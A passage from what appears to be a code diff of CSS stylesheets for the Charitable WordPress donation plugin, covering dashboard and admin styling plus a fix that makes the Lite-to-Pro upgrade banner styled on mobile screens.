solid rgba(226,232,240,.5);vertical-align:middle}.donor-avatar img{border-radius:50%;width:40px;height:40px;object-fit:cover}.donor-details{display:flex;flex-direction:column;gap:4px}.donor-name{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.donor-email{font-family:Inter;font-weight:400;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.7)}.donor-amount{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0;color:#191d2d}.donor-badge{display:inline-flex;align-items:center;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:16px;letter-spacing:0;text-align:center}.donor-badge.recurring{background-color:rgba(59,130,246,.1);color:#3b82f6}.donor-badge.multiple{background-color:rgba(16,185,129,.1);color:#10b981}.donor-badge.one-time{background-color:rgba(245,158,11,.1);color:#f59e0b}.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors td:first-child,.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors th:first-child{width:30px!important;padding-left:30px}.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table td:last-child,.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table th:last-child{padding-right:30px}.charitable-dashboard-v2-tab-nav-item:focus{outline:0}.charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav-item:focus{outline:0}.charitable-dashboard-v2-quick-access-items a{position:relative;text-decoration:none!important}.charitable-dashboard-v2-quick-access-items a::before{content:"";position:absolute;width:100%;height:2px;border-radius:2px;background-color:#18272f;bottom:-4px;left:0;transform-origin:right;transform:scaleX(0);transition:transform .3s ease-in-out}.charitable-dashboard-v2-quick-access-items a:hover::before{transform-origin:left;transform:scaleX(1)}.charitable-dashboard-v2-rate-link{display:flex!important;align-items:center!important;gap:8px!important;transition:gap .3s ease!important;text-decoration:none!important}.charitable-dashboard-v2-rate-link:hover{gap:4px!important;text-decoration:none!important}.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon,.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{display:inline-block}.charitable-dashboard-v2-addons-link{display:flex!important;align-items:center!important;gap:8px!important;transition:gap .3s ease!important;text-decoration:none!important}.charitable-dashboard-v2-addons-link:hover{gap:4px!important;text-decoration:none!important}.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text,.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-table-container{max-height:400px;overflow-y:auto}.charitable-dashboard-v2-table-comments th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-comments th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-comments td:first-child,.charitable-dashboard-v2-table-comments th:first-child{width:calc(100% - 120px)!important}.charitable-dashboard-v2-table-comments td:last-child,.charitable-dashboard-v2-table-comments th:last-child{width:auto!important}.charitable-dashboard-v2-table-comments tr{transition:background-color .2s ease}.charitable-dashboard-v2-table-comments tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table-comments td{padding:20px;border-bottom:1px solid #e2e8f0;vertical-align:top}.charitable-dashboard-v2-table-comments td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.comment-details{display:flex;flex-direction:column;gap:8px}.comment-header{display:flex;flex-direction:column;gap:8px;align-items:flex-start;text-align:left}.comment-name{font-family:Inter;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.comment-text{font-family:Inter;font-weight:500;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8)}.comment-actions{display:flex;align-items:center;justify-content:end;gap:10px}.comment-action{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0;vertical-align:middle;text-decoration:underline;text-decoration-style:solid;text-decoration-offset:0%;text-decoration-thickness:0%;color:rgba(25,29,45,.7);transition:color .2s ease}.comment-action:hover{color:rgba(25,29,45,.9)}.comment-action.approve{color:rgba(25,29,45,.7)}.comment-action.approve:hover{color:rgba(25,29,45,.9)}.comment-action.delete{color:rgba(25,29,45,.7)}.comment-action.delete:hover{color:rgba(25,29,45,.9)}.comment-action-separator{color:rgba(25,29,45,.3);font-weight:400;font-size:11px}.comment-status-approved{color:#0f8b00;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0}.status-badge{display:inline-flex;align-items:center;padding:6px 12px;border-radius:6px;font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0;text-align:center;white-space:nowrap}.status-active,.status-approved,.status-paid{background-color:#eafbe8;color:#0f8b00}.charitable-dashboard-v2-placeholder{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:60px 20px;text-align:center}.charitable-dashboard-v2-placeholder-icon{margin-bottom:24px}.charitable-dashboard-v2-placeholder-title{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0 0 12px 0}.charitable-dashboard-v2-placeholder-description{font-family:Inter;font-weight:400;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.6);margin:0;max-width:400px}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button{display:inline-block;padding:10px 20px;background:#da9021;color:#fff;text-decoration:none;border-radius:4px;font-weight:600;font-size:14px;transition:background-color .2s ease;margin-top:10px;border:0}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:hover{background:#c4821e;color:#fff;text-decoration:none}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:disabled{background:#9ca3af;cursor:not-allowed}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button .button-loading{display:inline-flex;align-items:center;gap:8px} \ No newline at end of file @@ -1564,8 +1564,34 @@ width: 80px; } +/* + * The Lite -> Pro upgrade banner ("You're using Charitable Lite!"). + * + * Visual properties (orange background, white text, font, base padding) live + * at the base selector so they apply at every viewport. Previously they were + * scoped inside @media (min-width: 783px), which left mobile admins with a + * bare default-styled banner once the WP admin breakpoint flipped. + * + * Layout properties that depend on the desktop admin column (negative + * margin to align with the wider sidebar offset, tighter padding) stay + * inside the 783px media query. + */ .charitable-admin-banner-top-of-page { text-align: center; + background: #E89940; + color: #fff; + font-size: 13px; + line-height: 1.4; + padding: 10px 46px 10px 22px; +} +.charitable-admin-banner-top-of-page a { + color: white; +} +.charitable-license-expiring-banner.charitable-admin-banner-top-of-page { + background: #e84040; +} +.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover { + color: white !important; } .charitable-admin-banner-top-of-page .button-link { position: absolute; @@ -1579,39 +1605,28 @@ padding: 6px 10px; } +@media screen and (min-width: 601px) { + .charitable-admin-banner-top-of-page .button-link { + top: 0; + } +} @media screen and (min-width: 783px) { .charitable-admin-banner-top-of-page { - padding: 10px 46px 10px 22px; - font-size: 13px; - line-height: 1.4; - color: #fff; margin-left: -20px; padding: 9px 32px 9px 20px; - background: #E89940; display: none; } - .charitable-admin-banner-top-of-page a { - color: white; - } [dir=rtl] .charitable-admin-banner-top-of-page { margin-left: 0; margin-right: -20px; } - .charitable-license-expiring-banner.charitable-admin-banner-top-of-page { - background: #e84040; - } - .charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover { - color: white !important; - } -} -@media screen and (min-width: 601px) { .charitable-admin-banner-top-of-page .button-link { - top: 0; + right: 9px; } } -@media screen and (min-width: 783px) { - .charitable-admin-banner-top-of-page .button-link { - right: 9px; +@media screen and (max-width: 782px) { + .charitable-admin-banner-top-of-page { + margin-left: -10px; } } .charitable-notice.notice-five-star-review { @@ -1 +1 @@ -@charset "UTF-8";.cf:after,.cf:before{content:" ";display:table}.cf:after{clear:both}.charitable-media-block{overflow:hidden}.charitable-media-block .charitable-media-image{float:left;margin-right:12px}.charitable-media-block .charitable-media-image img{display:block}.charitable-media-block .charitable-media-body{overflow:hidden}.ui-datepicker{display:none}.ui-datepicker.charitable-datepicker-table{background-color:#fff;padding:0;border:1px solid #dedede;width:auto;z-index:100000!important}.ui-datepicker.charitable-datepicker-table .ui-datepicker-header{padding:10px 20px;background:#f5f5f5;text-align:center;border:0;border-bottom:1px solid #dfdfdf;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next,.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{position:absolute;top:10px;width:auto;height:auto;color:#0073aa;cursor:pointer}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next .ui-icon,.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev .ui-icon{position:static;top:0;left:0;width:auto;height:auto;margin:0;background-image:none;text-indent:0;font-weight:400}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{left:10px}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{right:10px}.ui-datepicker.charitable-datepicker-table .ui-state-hover{border:none;background:0 0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar{width:100%;padding:10px;margin:0;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td{border:1px solid #dedede}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar a{display:block;padding:6px;border:none;color:#747474;background:0 0;text-decoration:none;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:first-child{border-left:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar .ui-datepicker-unselectable,.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:hover{background-color:#f5f5f5}.charitable-metabox.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}.charitable-metabox.postbox .inside{margin-top:0;padding:0}.charitable-metabox .postbox-title{padding:0 0 8px 0}.charitable-metabox .postbox-header{border-bottom:none}.charitable-metabox .handlediv,.charitable-metabox .hndle{display:none}.charitable-metabox input,.charitable-metabox textarea{padding:14px 10px;width:100%}.charitable-metabox select{width:100%}.charitable-metabox input[type=button],.charitable-metabox input[type=checkbox],.charitable-metabox input[type=radio],.charitable-metabox input[type=submit]{width:auto}.charitable-metabox .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}.charitable-metabox .widefat th{font-size:13px}.charitable-metabox .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}.charitable-metabox .widefat .remove-col,.charitable-metabox .widefat .reorder-col{vertical-align:middle;text-align:center}.charitable-metabox .widefat .remove-col span,.charitable-metabox .widefat .reorder-col span{font-size:20px;color:#aaa}.charitable-metabox .widefat .remove-col span:hover,.charitable-metabox .widefat .reorder-col span:hover{color:#444}.charitable-metabox .widefat .reorder-col{width:10px;padding-right:0}.charitable-metabox .widefat .reorder-col span{cursor:move}.charitable-metabox .widefat .remove-col{width:20px;padding-left:0}.charitable-metabox .widefat .remove-col span{cursor:pointer}.charitable-metabox .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}.charitable-metabox .table-header{background:#f5f5f5}.charitable-metabox .table-header label{margin-bottom:0;font-weight:700}.charitable-metabox .charitable-metabox-header{margin:24px 0}.charitable-metabox h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}.charitable-metabox .inside>.charitable-metabox-header:first-child{margin-top:0}#side-sortables .charitable-metabox-wrap{float:none}.charitable-metabox-header{float:left;width:100%}.charitable-metabox-wrap{width:100%;float:left;margin-bottom:24px}.charitable-metabox-wrap .charitable-helper{display:block;padding-top:8px;font-style:italic}.charitable-metabox-wrap label,.charitable-metabox-wrap legend{display:block;margin-bottom:8px;font-weight:700}.charitable-metabox-wrap th label{margin-bottom:0}.charitable-metabox-wrap input,.charitable-metabox-wrap textarea{width:100%;padding:8px 10px}.charitable-metabox-wrap select{width:100%;padding:0 10px;height:46px;line-height:46px}.charitable-metabox-wrap input[type=checkbox],.charitable-metabox-wrap input[type=radio]{width:auto}.charitable-metabox-wrap.charitable-multi-checkbox-wrap,.charitable-metabox-wrap.charitable-radio-wrap{margin-bottom:14px}.charitable-metabox-wrap .charitable-checkbox-fieldset legend,.charitable-metabox-wrap .charitable-radio-fieldset legend{margin-bottom:0}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-helper,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-helper{padding:0}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list{margin-top:8px}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list li{display:block}.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list label{vertical-align:baseline}.charitable-metabox-wrap .select2-selection.select2-selection--single{height:46px;font-size:14px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__rendered{line-height:46px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__arrow{height:46px}.charitable-metabox-wrap .select2-results__option{margin-bottom:0}.charitable-checkbox-wrap label{display:inline;font-weight:400}.charitable-checkbox-list{display:flex;flex-direction:row;flex-wrap:wrap;width:75%!important;gap:8px}.charitable-checkbox-list li{font-size:15px;line-height:15px;width:calc(50% - 5px)}.charitable-radio-list label{display:inline-block;font-weight:400}.charitable-radio-list li{margin-bottom:8px}.charitable-radio-list label{margin-bottom:0;vertical-align:text-bottom}.charitable-metabox-block{padding:10px;margin-bottom:10px;border:1px solid #dedede}body.post-type-campaign .postbox-container .empty-container,body.post-type-donation .postbox-container .empty-container{border:none;height:auto}.charitable-actions-form{padding:12px 12px 18px 12px}.charitable-actions-submit{background-color:#f8f8f8;padding:12px;border-top:1px solid #e5e5e5}.charitable-actions-submit .button-primary{float:right}.charitable-action-fields{margin-top:20px}.post-type-campaign .postbox-title{border-bottom:1px solid #eee}#campaign-description.postbox,#campaign-end-date.postbox,#campaign-goal.postbox,#campaign-title.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}#campaign-description.postbox .inside,#campaign-end-date.postbox .inside,#campaign-goal.postbox .inside,#campaign-title.postbox .inside{margin-top:0;padding:0}#campaign-description.postbox .postbox-title,#campaign-end-date.postbox .postbox-title,#campaign-goal.postbox .postbox-title,#campaign-title.postbox .postbox-title{padding:0 0 8px 0}#campaign-description.postbox .postbox-header,#campaign-end-date.postbox .postbox-header,#campaign-goal.postbox .postbox-header,#campaign-title.postbox .postbox-header{border-bottom:none}#campaign-description.postbox .handlediv,#campaign-description.postbox .hndle,#campaign-end-date.postbox .handlediv,#campaign-end-date.postbox .hndle,#campaign-goal.postbox .handlediv,#campaign-goal.postbox .hndle,#campaign-title.postbox .handlediv,#campaign-title.postbox .hndle{display:none}#campaign-description input,#campaign-description textarea,#campaign-end-date input,#campaign-end-date textarea,#campaign-goal input,#campaign-goal textarea,#campaign-title input,#campaign-title textarea{padding:14px 10px;width:100%}#campaign-description select,#campaign-end-date select,#campaign-goal select,#campaign-title select{width:100%}#campaign-description input[type=button],#campaign-description input[type=checkbox],#campaign-description input[type=radio],#campaign-description input[type=submit],#campaign-end-date input[type=button],#campaign-end-date input[type=checkbox],#campaign-end-date input[type=radio],#campaign-end-date input[type=submit],#campaign-goal input[type=button],#campaign-goal input[type=checkbox],#campaign-goal input[type=radio],#campaign-goal input[type=submit],#campaign-title input[type=button],#campaign-title input[type=checkbox],#campaign-title input[type=radio],#campaign-title input[type=submit]{width:auto}#campaign-description .charitable-metabox-title,#campaign-end-date .charitable-metabox-title,#campaign-goal .charitable-metabox-title,#campaign-title .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}#campaign-description .widefat th,#campaign-end-date .widefat th,#campaign-goal .widefat th,#campaign-title .widefat th{font-size:13px}#campaign-description .widefat tbody th,#campaign-end-date .widefat tbody th,#campaign-goal .widefat tbody th,#campaign-title .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}#campaign-description .widefat .remove-col,#campaign-description .widefat .reorder-col,#campaign-end-date .widefat .remove-col,#campaign-end-date .widefat .reorder-col,#campaign-goal .widefat .remove-col,#campaign-goal .widefat .reorder-col,#campaign-title .widefat .remove-col,#campaign-title .widefat .reorder-col{vertical-align:middle;text-align:center}#campaign-description .widefat .remove-col span,#campaign-description .widefat .reorder-col span,#campaign-end-date .widefat .remove-col span,#campaign-end-date .widefat .reorder-col span,#campaign-goal .widefat .remove-col span,#campaign-goal .widefat .reorder-col span,#campaign-title .widefat .remove-col span,#campaign-title .widefat .reorder-col span{font-size:20px;color:#aaa}#campaign-description .widefat .remove-col span:hover,#campaign-description .widefat .reorder-col span:hover,#campaign-end-date .widefat .remove-col span:hover,#campaign-end-date .widefat .reorder-col span:hover,#campaign-goal .widefat .remove-col span:hover,#campaign-goal .widefat .reorder-col span:hover,#campaign-title .widefat .remove-col span:hover,#campaign-title .widefat .reorder-col span:hover{color:#444}#campaign-description .widefat .reorder-col,#campaign-end-date .widefat .reorder-col,#campaign-goal .widefat .reorder-col,#campaign-title .widefat .reorder-col{width:10px;padding-right:0}#campaign-description .widefat .reorder-col span,#campaign-end-date .widefat .reorder-col span,#campaign-goal .widefat .reorder-col span,#campaign-title .widefat .reorder-col span{cursor:move}#campaign-description .widefat .remove-col,#campaign-end-date .widefat .remove-col,#campaign-goal .widefat .remove-col,#campaign-title .widefat .remove-col{width:20px;padding-left:0}#campaign-description .widefat .remove-col span,#campaign-end-date .widefat .remove-col span,#campaign-goal .widefat .remove-col span,#campaign-title .widefat .remove-col span{cursor:pointer}#campaign-description .widefat .ui-sortable-helper,#campaign-end-date .widefat .ui-sortable-helper,#campaign-goal .widefat .ui-sortable-helper,#campaign-title .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}#campaign-description .table-header,#campaign-end-date .table-header,#campaign-goal .table-header,#campaign-title .table-header{background:#f5f5f5}#campaign-description .table-header label,#campaign-end-date .table-header label,#campaign-goal .table-header label,#campaign-title .table-header label{margin-bottom:0;font-weight:700}#campaign-description .charitable-metabox-header,#campaign-end-date .charitable-metabox-header,#campaign-goal .charitable-metabox-header,#campaign-title .charitable-metabox-header{margin:24px 0}#campaign-description h4.charitable-metabox-header,#campaign-end-date h4.charitable-metabox-header,#campaign-goal h4.charitable-metabox-header,#campaign-title h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}#campaign-description .inside>.charitable-metabox-header:first-child,#campaign-end-date .inside>.charitable-metabox-header:first-child,#campaign-goal .inside>.charitable-metabox-header:first-child,#campaign-title .inside>.charitable-metabox-header:first-child{margin-top:0}#campaign-top-sortables{padding-top:20px}#campaign-top-sortables>.postbox:nth-child(2),#campaign-top-sortables>.postbox:nth-child(3){float:left;width:48%}#campaign-top-sortables>.postbox:nth-child(2){padding-right:4%}#campaign-top-sortables #campaign-description{clear:both}@media (max-width:37.5em){#campaign-top-sortables>.postbox:nth-child(2),#campaign-top-sortables>.postbox:nth-child(3){width:100%;padding:0 0 24px}}#charitable-campaign-end-date-metabox-wrap{position:relative}#charitable-campaign-end-date-metabox-wrap .charitable-end-time{position:absolute;right:0;top:2px;width:80px;padding:20px 10px;border-left:1px solid rgba(0,0,0,.07);box-shadow:inset 0 1px 2px rgba(0,0,0,.07);background:#f5f5f5;text-align:center;border-radius:0 4px 4px 0}@media (min-width:48.875em){#charitable-campaign-end-date-metabox-wrap .charitable-end-time{padding:18px 10px}}#campaign-end-date.postbox #charitable-campaign-end-date-metabox-wrap label{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#campaign-settings .postbox-title{border:none}#campaign-settings .inside{margin:0;padding:0}#campaign-settings .ui-tabs{clear:both;padding:0;background-color:#f5f5f5;border:none;border-radius:0;font-family:"Open Sans",sans-serif;font-size:13px}#campaign-settings .ui-tabs:after,#campaign-settings .ui-tabs:before{content:" ";display:table}#campaign-settings .ui-tabs:after{clear:both}#campaign-settings .ui-tabs .wp-editor-expand #wp-content-editor-tools{background-color:transparent}#campaign-settings .ui-tabs-nav{float:left;width:20%;margin:0;padding:0;border:none;background:0 0;line-height:1em;height:auto}#campaign-settings .ui-tabs-nav li{position:relative;top:0;display:block;width:100%;float:none;background:0 0;margin:0;padding:0 1px 0 0;border:0;white-space:normal}#campaign-settings .ui-tabs-nav a{display:block;float:none;padding:10px;color:#747474;text-decoration:none;border:none;text-shadow:none;margin:0;font-weight:400}#campaign-settings .ui-tabs-nav li.ui-tabs-active{z-index:2;margin-right:-2px;border-top:1px solid #dedede;border-bottom:1px solid #dedede!important;background-color:#fff}#campaign-settings .ui-tabs-nav li:first-child{border-top-color:1px solid #dedede}#campaign-settings .ui-tabs-nav li.ui-tabs-active:first-child{border-top-color:transparent}#campaign-settings .ui-tabs-nav li:last-child{margin-bottom:10px;border-bottom-color:transparent}#campaign-settings .ui-tabs-panel{clear:none;box-sizing:border-box;float:right;width:80%;padding:20px;margin:0;border-left:1px solid #dedede;border-top:0;background-color:#fff}#campaign-settings #wp-content-editor-tools{padding-top:0}.charitable-campaign-settings-panel .charitable-metabox-header:first-child{margin-top:0}#charitable-campaign-suggested-donations .amount-col{width:100px;min-width:35%}.charitable-benefactor-wrap{padding:0 10px 10px;margin-top:10px;border:1px solid #ddd;background:#f5f5f5}.charitable-benefactor-wrap select{width:100%}.charitable-benefactor-summary:after,.charitable-benefactor-summary:before{content:" ";display:table}.charitable-benefactor-summary:after{clear:both}.charitable-benefactor-summary .summary{float:left;width:82%}.charitable-benefactor-summary .alignright{float:right;width:18%;text-align:right}.charitable-benefactor-form-cancel{float:right;margin-top:10px}.charitable-benefactor-contribution-amount{margin-bottom:10px}.charitable-benefactor-contribution-amount .contribution-amount{margin-bottom:10px;font-size:16px}@media (min-width:42.5em){.charitable-benefactor-contribution-amount{border:1px solid #ddd;background-color:#fff}.charitable-benefactor-contribution-amount .contribution-amount{width:auto;min-width:220px;margin:1px;border:none;box-shadow:none}.charitable-benefactor-contribution-amount .contribution-type{float:right;margin:10px;width:auto}.charitable-benefactor-contribution-amount input:focus,.charitable-benefactor-contribution-amount select:focus{box-shadow:none}}.charitable-benefactor-date-wrap{margin-top:10px}.charitable-benefactor-date-wrap label{float:left;width:49%}.charitable-benefactor-date-wrap label:nth-child(2n+2){margin-left:2%}.charitable-benefactor-date-wrap input{margin:1em 0;font-weight:400}.charitable-benefactor-expired,.charitable-benefactor-inactive{background-color:#f5f5f5}.charitable-benefactor-expired .summary span,.charitable-benefactor-inactive .summary span{font-weight:700;text-transform:uppercase;padding-right:8px;color:#f89d35}#campaign-creator .creator-facts .creator-name{padding:0}#campaign-creator .creator-facts .creator-name a{color:#333;text-decoration:none}#campaign-creator .creator-facts dt{display:inline-block;font-weight:700}#campaign-creator .creator-facts dd{display:inline-block}#charitable-campaign-creator-metabox-wrap #campaign-creator{padding-bottom:24px;margin-bottom:12px;border-bottom:1px solid #e1e1e1}body.post-type-donation #post-body-content,body.post-type-donation #titlediv{display:none}body.post-type-donation .closed .inside{display:block}body.post-type-donation .donation-banner-wrapper{float:left;width:100%;background:#f8f8f8;border-radius:4px 4px 0 0;border-bottom:1px solid #e5e5e5}body.post-type-donation .donation-banner{position:relative;padding:12px}body.post-type-donation .donation-banner .donation-edit-link{position:absolute;top:12px;right:12px}body.post-type-donation .donation-banner .donation-number{margin:0;padding:0;font-size:1.3em}body.post-type-donation .donation-erasure-notice-wrapper{float:left;width:100%}body.post-type-donation .donation-erasure-notice{padding:12px 20px;border-bottom:1px solid #e5e5e5;font-style:italic}@media (min-width:70em){body.post-type-donation #poststuff #post-body.columns-2{margin-right:340px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1{margin-right:-340px;width:320px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1 #side-sortables{width:100%}}#donation-overview .charitable-metabox:after,#donation-overview .charitable-metabox:before{content:" ";display:table}#donation-overview .charitable-metabox:after{clear:both}#donation-overview .hndle{display:none}#donation-overview .inside{margin:0;padding:0}#donation-overview #donor{float:left;padding:12px 12px 36px 12px;width:300px;max-width:67%}#donation-overview .donor-name{font-weight:400}#donation-overview h3{margin:0 0 .5em;padding:0;font-size:1.3em}#donation-overview #donation-summary{float:right;padding:12px 12px 36px 0;max-width:33%;text-align:right}#donation-overview .donation-status{display:block;margin-bottom:6px}#donation-overview .donation-status .contact-consent .consent,#donation-overview .donation-status .status{font-weight:bolder}#donation-overview table#overview{float:left;width:100%;border-spacing:0}#donation-overview table#overview thead th{padding:0 0 .8em}#donation-overview table#overview .col-campaign-name{padding-left:12px;text-align:left}#donation-overview table#overview .col-campaign-donation-amount{padding-right:12px;text-align:right}#donation-overview table#overview tbody td{padding:2em 0;border-top:1px solid #e5e5e5}#donation-overview table#overview tbody tr:last-child td{border-bottom:1px solid #e5e5e5}#donation-overview table#overview .campaign-name{padding-left:12px;font-size:18px}#donation-overview table#overview .campaign-donation-amount{padding-right:12px;font-size:16px;text-align:right}#donation-overview table#overview tfoot td,#donation-overview table#overview tfoot th{padding:.6em 12px .6em 0;background-color:#f8f8f8;text-align:right}#donation-overview table#overview tfoot tr:first-of-type td,#donation-overview table#overview tfoot tr:first-of-type th{padding-top:1.2em}#donation-overview table#overview tfoot tr:last-of-type td,#donation-overview table#overview tfoot tr:last-of-type th{padding-bottom:1.2em}#donation-actions .inside{padding:0}#donation-actions,#donation-details,#donation-log{border-bottom:1px solid #ccd0d4}#donation-details dt{font-weight:700;margin-bottom:.5em}#donation-details dd{margin:0 0 1em;padding-bottom:1em;border-bottom:1px solid #e5e5e5}#donation-details dd:last-child{border-bottom:none;padding-bottom:0}#donation-log .inside{padding:0;margin-top:0}#donation-log table{word-break:break-all;border:none}#donation-log td,#donation-log th{padding-left:12px;padding-right:12px}#donation-log thead th{background:#f8f8f8}#donation-log thead th:first-child{width:200px}#donation-log tbody td{border-bottom:1px solid #e5e5e5}#donation-log tbody tr:last-child td{border-bottom:0}.post-type-donation.charitable-admin-donation-form #postbox-container-2{margin-bottom:0;border:1px solid #dedede;border-radius:4px;background:#fff}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap{margin-bottom:24px}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap.charitable-fieldset-wrap{margin-bottom:0}.post-type-donation.charitable-admin-donation-form #donation-form{border:none;background:0 0;box-shadow:none}.post-type-donation.charitable-admin-donation-form #donation-form .postbox-title{display:none}.post-type-donation.charitable-admin-donation-form #donation-form .inside{padding:0;margin:0}.post-type-donation.charitable-admin-donation-form #donation-form .inside>.charitable-form-fields{clear:both;padding:20px}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields>h3:first-of-type{margin-top:0}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields>.charitable-metabox-wrap:not(.charitable-fieldset-wrap){margin-bottom:24px}.post-type-donation.charitable-admin-donation-form #donation-form-meta{padding:24px 12px 12px}#charitable-campaign-donations thead th{background:#f5f5f5}#charitable-user-fields-wrap{width:100%}#charitable-user-fields-wrap .charitable-overlay{display:none!important}#charitable-user-fields-wrap.loading-data .charitable-overlay{display:block!important;text-align:center}#charitable-user-fields-wrap.loading-data>:not(.charitable-overlay){display:none}#charitable-user-fields-wrap #charitable-first-name-wrap,#charitable-user-fields-wrap #charitable-last-name-wrap{width:48%}#charitable-user-fields-wrap #charitable-first-name-wrap{padding-right:4%}#charitable-user-fields-wrap #charitable-postcode-wrap{width:26%;padding-right:4%}#charitable-user-fields-wrap #charitable-country-wrap{width:70%;clear:right}.charitable-settings-field{padding:7px 10px;width:300px;font-size:16px;line-height:1.5em}.charitable-settings-field.short{width:100px}.charitable-settings-field.wide{width:100%}.charitable-inline-notice{background:#fff;border:1px solid #c3c4c7;border-left-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:5px 15px 15px 0;padding:10px 12px}.charitable-inline-notice p:last-child{margin-bottom:0!important}.charitable-inline-notice.info{border-left-color:#00a0d2}.charitable-inline-notice.warning{border-left-color:#ffb900}input[type=number].charitable-settings-field{height:auto}select.charitable-settings-field{width:auto;min-width:300px}input#charitable_settings_import_campaign,input#charitable_settings_import_donations{display:table;margin:0 0 10px 0;width:100%}select#charitable_settings_export_campaign,select#charitable_settings_export_donations,select#charitable_settings_import_donations{padding:0 24px 0 10px;min-height:45px;display:table;margin:0 0 10px 0;width:100%;text-indent:10px}.charitable-settings-object{max-width:1000px;padding:10px 20px;margin-bottom:4px;border:1px solid #e1e1e1;background-color:#fff}.charitable-settings-object h4{float:left;margin:0;line-height:28px}.charitable-settings-object span.actions{float:right}.charitable-settings-object span.actions a{margin-left:10px}.charitable-gateway .default-gateway,.charitable-gateway .make-default-gateway{margin-left:20px;font-size:12px;line-height:28px}.charitable-gateway .default-gateway{color:#f89d35}.charitable-gateway .make-default-gateway{color:#777}.charitable-settings-notice{max-width:860px;padding:10px 20px;border:1px solid 